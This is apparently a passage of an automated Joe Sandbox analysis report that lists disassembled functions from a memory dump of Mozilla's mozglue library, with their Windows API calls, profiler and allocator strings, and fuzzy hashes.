Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

GetCurrentThreadId.KERNEL32(?,00000000,00000000,?,?,00000000), ref: 6C20EBC1
AcquireSRWLockExclusive.KERNEL32(6C24F4B8,?,?,00000000), ref: 6C20EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C20EBE5
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8,00000000), ref: 6C20EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C20EC46
CloseHandle.KERNEL32(?), ref: 6C20EC55
free.MOZGLUE(00000000), ref: 6C20EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C20EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C20EA9B

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: eedb9309cd310eb817ea57496273b73a90347d09e35531f2e28250b03d9ef11d
Instruction ID: f6051917b31c68ee327ce0e9d2cef8f618474e1bfc371d17ed47a8c5c72e36b3
Opcode Fuzzy Hash: eedb9309cd310eb817ea57496273b73a90347d09e35531f2e28250b03d9ef11d
Instruction Fuzzy Hash: A4A117757006088FDB14EF18D448B6A77B5FFCA31CF14812AEE5A87B81DBB09845CBA1

Function 6C20F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C20F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C20F8F9

Part of subcall function 6C1D6390: GetCurrentThreadId.KERNEL32 ref: 6C1D63D0
Part of subcall function 6C1D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C1D63DF
Part of subcall function 6C1D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C1D640E

ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F93A
GetCurrentThreadId.KERNEL32 ref: 6C20F98A
GetCurrentThreadId.KERNEL32 ref: 6C20F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F716

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

Part of subcall function 6C1CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C1CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C20F739
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20F746
GetCurrentThreadId.KERNEL32(Thread ), ref: 6C20F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C24385B,00000002,?,?,?,?,?), ref: 6C20F829
free.MOZGLUE(?,?,00000000,?), ref: 6C20F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C20F866
free.MOZGLUE(?), ref: 6C20FA0C

Part of subcall function 6C1D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1D55E1), ref: 6C1D5E8C
Part of subcall function 6C1D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5E9D
Part of subcall function 6C1D5E60: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5EAB
Part of subcall function 6C1D5E60: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5EB8
Part of subcall function 6C1D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5ECF
Part of subcall function 6C1D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C1D5F27
Part of subcall function 6C1D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C1D5F47
Part of subcall function 6C1D5E60: GetCurrentProcess.KERNEL32 ref: 6C1D5F53
Part of subcall function 6C1D5E60: GetCurrentThread.KERNEL32 ref: 6C1D5F5C
Part of subcall function 6C1D5E60: GetCurrentProcess.KERNEL32 ref: 6C1D5F66
Part of subcall function 6C1D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C1D5F7E

free.MOZGLUE(?), ref: 6C20F9C5
free.MOZGLUE(?), ref: 6C20F9DA

Strings

Thread , xrefs: 6C20F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C20F71F
" attempted to re-register as ", xrefs: 6C20F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C20F9A6

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 84acd462a337086e93fdd65589f1a8a83b05ba82ed8af0b3a576b3d3b278b4d4
Instruction ID: ffdd5e6347edada33b4de5f1f2c0221a4a36c79088bf81055ec5d7560a7b5465
Opcode Fuzzy Hash: 84acd462a337086e93fdd65589f1a8a83b05ba82ed8af0b3a576b3d3b278b4d4
Instruction Fuzzy Hash: 6B81C0716047089FDB10EF24C844BABB7A5BFC5308F55856EEC499BB51EB30A849CB92

Function 6C1D4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C1D4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D41F1
VerSetConditionMask.NTDLL ref: 6C1D4223
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D422A
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000001,00000003), ref: 6C1D4231
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000001,00000003), ref: 6C1D4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D427A
FreeLibrary.KERNEL32(?), ref: 6C1D4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C1D42C4
VerSetConditionMask.NTDLL ref: 6C1D42F6
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C1D4302
VerSetConditionMask.NTDLL(00000000,?,00000004,00000003,?,00000001,00000003), ref: 6C1D4309
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D4310
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C1D4324

Strings

SetProcessDpiAwareness, xrefs: 6C1D4274
Shcore.dll, xrefs: 6C1D425E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: edf3a0fb06a8468e5c6036b74c3721a90f92d702e2d14732317ba38d55bcb1e2
Instruction ID: 0824f368a4788be9f5ad3ac75e49a2efc1780408b1fa2dcad549b96683cf7ef7
Opcode Fuzzy Hash: edf3a0fb06a8468e5c6036b74c3721a90f92d702e2d14732317ba38d55bcb1e2
Instruction Fuzzy Hash: F851D271A402246BFB10AB64DC48FBBB778DF86B58F028518FD05AB6C0DB74AD50CB90

Function 6C20EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C1D4A68), ref: 6C20945E
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C209470
Part of subcall function 6C209420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C209482
Part of subcall function 6C209420: __Init_thread_footer.LIBCMT ref: 6C20949F

GetCurrentThreadId.KERNEL32 ref: 6C20EE60
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EE6D
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C20EEA5
CloseHandle.KERNEL32(?), ref: 6C20EEB4
free.MOZGLUE(00000000), ref: 6C20EEBB
GetCurrentThreadId.KERNEL32 ref: 6C20EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20EECF

Part of subcall function 6C20DE60: GetCurrentThreadId.KERNEL32(?,?,?,6C1D4A68), ref: 6C20DE73
Part of subcall function 6C20DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C1D4A68), ref: 6C20DE7B
Part of subcall function 6C20DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C1D4A68), ref: 6C20DEB8
Part of subcall function 6C20DE60: free.MOZGLUE(00000000,?,6C1D4A68), ref: 6C20DEFE
Part of subcall function 6C20DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C20DF38

Part of subcall function 6C1FCBE8: GetCurrentProcess.KERNEL32(?,6C1C31A7), ref: 6C1FCBF1
Part of subcall function 6C1FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C1C31A7), ref: 6C1FCBFA

GetCurrentThreadId.KERNEL32(00000000), ref: 6C20EF1E
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EF2B
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EF59
GetCurrentThreadId.KERNEL32 ref: 6C20EFB0
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EFBD
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20EFE1
GetCurrentThreadId.KERNEL32 ref: 6C20EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C20F000

Part of subcall function 6C2094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C2094EE
Part of subcall function 6C2094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C209508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C20F02F

Part of subcall function 6C20F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C20F09B
Part of subcall function 6C20F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C20F0AC
Part of subcall function 6C20F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C20F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C20F008
[I %d/%d] profiler_stop, xrefs: 6C20EED7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 0aec4904b28a2026dc18beb4defc5dfe4f74339a4c48bfb4d7c410530e33b16d
Instruction ID: 5b29ac1e145a3037e4545bcaba8521d709630b782cf27e5ad2be8858a5ee5662
Opcode Fuzzy Hash: 0aec4904b28a2026dc18beb4defc5dfe4f74339a4c48bfb4d7c410530e33b16d
Instruction Fuzzy Hash: 6B51E4367006199FDB04BB64D40CB9B77B4EB8632DF10C566EE2683BC0DBB04844CBA2

Function 6C1FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C24E804), ref: 6C1FD047
GetSystemInfo.KERNEL32(?), ref: 6C1FD093
__Init_thread_footer.LIBCMT ref: 6C1FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C24E810,00000040), ref: 6C1FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C24E7B8,00001388), ref: 6C1FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C24E744,00001388), ref: 6C1FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C24E784,00001388), ref: 6C1FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C24E7DC,00001388), ref: 6C1FD1B1

Strings

MOZ_CRASH(), xrefs: 6C1FD277
MALLOC_OPTIONS, xrefs: 6C1FD0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C1FD322
<jemalloc>, xrefs: 6C1FD268, 6C1FD311
Compile-time page size does not divide the runtime one., xrefs: 6C1FD26D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 19e3e2a295407159fe0cfe99c576792d2a5e743c50d6d5ab5989b4ecffd45b50
Instruction ID: a2aa866cf325603e283ec66b0cf6f1f77cfd1c4718f4880c24af321bfeb52d22
Opcode Fuzzy Hash: 19e3e2a295407159fe0cfe99c576792d2a5e743c50d6d5ab5989b4ecffd45b50
Instruction Fuzzy Hash: FC819A70B042049BFB04FF68C858B69BBF5EB56718F11852AED2197BC0DB759806CBD2

Function 6C1D7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C1D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C1D801D

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C1D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C1D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C1D808D

Part of subcall function 6C1DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C1DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C1D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C1D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C1D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C1D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C1D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C1D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C1D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1D8199

Strings

0> l, xrefs: 6C1D811E

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0> l
API String ID: 2721933968-773514998
Opcode ID: a3efdf7b1da5b22a3bfc120896b847b9cdfdc96f0d7e819971bd1babab6aebe7
Instruction ID: 5dac3a22fb53cb2dd4461430a91d4f94a7c6601f751334f2b8bb92ff3fbc401f
Opcode Fuzzy Hash: a3efdf7b1da5b22a3bfc120896b847b9cdfdc96f0d7e819971bd1babab6aebe7
Instruction Fuzzy Hash: 6F5195B1E001149BEB00DFA9DC84AEFB7B9AF59364F191225E815E7741E730E908CBA1

Function 6C20FAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C20FADC
AcquireSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20FAE9
GetCurrentThreadId.KERNEL32 ref: 6C20FB31
GetCurrentThreadId.KERNEL32 ref: 6C20FB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C20FBF6
ReleaseSRWLockExclusive.KERNEL32(6C24F4B8), ref: 6C20FC50

Strings

[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6C20FD15
[D %d/%d] profiler_unregister_thread: %s, xrefs: 6C20FC94

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 86ba923677fc86227fbe788ada20822fd9b1fa6fd7b62fb92dd18619ca456d04
Instruction ID: 9620d12f72f6cb04c9b325c09f3e6fe2808adfacd5d5550fd74bb29d1e66c5e4
Opcode Fuzzy Hash: 86ba923677fc86227fbe788ada20822fd9b1fa6fd7b62fb92dd18619ca456d04
Instruction Fuzzy Hash: D271EF75B047088FD704EF28C449B6BB7F0BF89308F05856AED458BB91EB30A845CB96

Function 6C1D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5E9D

Part of subcall function 6C1E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B85
Part of subcall function 6C1E5B50: EnterCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5B90
Part of subcall function 6C1E5B50: LeaveCriticalSection.KERNEL32(6C24F688,?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BD8
Part of subcall function 6C1E5B50: GetTickCount64.KERNEL32(?,?,?,6C1E56EE,?,00000001), ref: 6C1E5BE4

GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5EAB
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C1D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C1D6017

Part of subcall function 6C1C4310: moz_xmalloc.MOZGLUE(00000010,?,6C1C42D2), ref: 6C1C436A
Part of subcall function 6C1C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C1C42D2), ref: 6C1C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C1D5F47
GetCurrentProcess.KERNEL32 ref: 6C1D5F53
GetCurrentThread.KERNEL32 ref: 6C1D5F5C
GetCurrentProcess.KERNEL32 ref: 6C1D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C1D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C1D5F27

Part of subcall function 6C1DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C1DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1D55E1), ref: 6C1D5E8C

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1D55E1), ref: 6C1D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C1D55E1), ref: 6C1D60CC

Strings

GeckoMain, xrefs: 6C1D5ECE, 6C1D6015

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
